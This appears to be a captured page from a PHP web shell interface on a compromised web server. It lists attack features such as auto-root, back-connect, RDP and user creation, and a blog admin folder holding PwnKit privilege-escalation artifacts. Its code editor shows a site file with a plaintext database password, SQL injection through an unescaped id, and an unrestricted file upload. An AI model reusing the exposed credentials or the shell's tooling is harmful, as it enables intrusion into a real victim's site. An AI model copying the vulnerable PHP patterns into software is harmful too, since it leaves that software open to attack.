Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 18.226.187.224
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
itailorBlog /
admin /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
assets
[ DIR ]
drwxr-xr-x
inc
[ DIR ]
drwxr-xr-x
page
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
add-blog-category-child.php
4.49
KB
-rw-r--r--
add-blog-category.php
3.58
KB
-rw-r--r--
add-blog-post.php
6.97
KB
-rw-r--r--
add-product.php
2.73
KB
-rw-r--r--
auth-login.php
3.71
KB
-rw-r--r--
blog-category-dashboard.php
5.25
KB
-rw-r--r--
blog-post-celebrity-style.php
5.98
KB
-rw-r--r--
blog-post-dashboard.php
4.73
KB
-rw-r--r--
blog-post-preferences.php
6.01
KB
-rw-r--r--
delete-category.php
667
B
-rw-r--r--
delete-post.php
656
B
-rw-r--r--
delete-product.php
650
B
-rw-r--r--
delete-subscriber.php
662
B
-rw-r--r--
edit-category.php
5.59
KB
-rw-r--r--
edit-post.php
7.61
KB
-rw-r--r--
edit-product.php
3.58
KB
-rw-r--r--
index.html
131
B
-rw-r--r--
index.php
758
B
-rw-r--r--
logout.php
102
B
-rw-r--r--
products.php
4.61
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
save-category.php
1.61
KB
-rw-r--r--
save-child-category.php
1.69
KB
-rw-r--r--
save-post.php
2.43
KB
-rw-r--r--
save-preferences-must-read.php
1
KB
-rw-r--r--
save-preferences-style-prefere...
1.01
KB
-rw-r--r--
save-product.php
1.53
KB
-rw-r--r--
subscribers.php
3.81
KB
-rw-r--r--
update-category.php
2.23
KB
-rw-r--r--
update-post.php
2.94
KB
-rw-r--r--
update-product.php
1.67
KB
-rw-r--r--
uploadImage.php
120
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : update-product.php
<?php require_once "../includes/start.php"; require_once "../includes/config.php"; $connection = mysqli_connect('localhost', 'dpclient_itailor', 'dAm#VbbjzoYxdAm#VbbjzoYxdAm#VbbjzoYxdAm#VbbjzoYx', 'dpclient_itailor'); if ($_SERVER["REQUEST_METHOD"] === "POST") { extract($_POST); $name = mysqli_real_escape_string($connection, cleanVal($name)); $target_dir = '../upload/media/'; if ($_FILES["thumbnail"]["error"] === UPLOAD_ERR_OK) { $thumbnailFileName = uniqid("thumbnail_") . "_" . $_FILES["thumbnail"]["name"]; move_uploaded_file($_FILES["thumbnail"]["tmp_name"], $target_dir . $thumbnailFileName); $thumbnailUrl = "upload/media/" . $thumbnailFileName; } $uri = mysqli_real_escape_string($connection, $uri); // SQL query to insert the values into the "blog_cat" table if ($_FILES["thumbnail"]["error"] === UPLOAD_ERR_OK) { $sql = "UPDATE products SET name = '$name', thumbnail = '$thumbnailUrl', uri = '$uri' WHERE id = '$id'"; } else { $sql = "UPDATE products SET name = '$name', uri = '$uri' WHERE id = '$id'"; } // debug($connection, true); // Execute the query if (mysqli_query($connection, $sql)) { setMsg('success', 'Product Updated!', 'The product has been updated successfully.'); } else { setMsg('error', 'Error Occurred!', 'Unable to process the request!'); } // Close the database connection mysqli_close($connection); header("location: products.php"); } else { // The form has not been submitted echo "Form not submitted."; } ?>
Close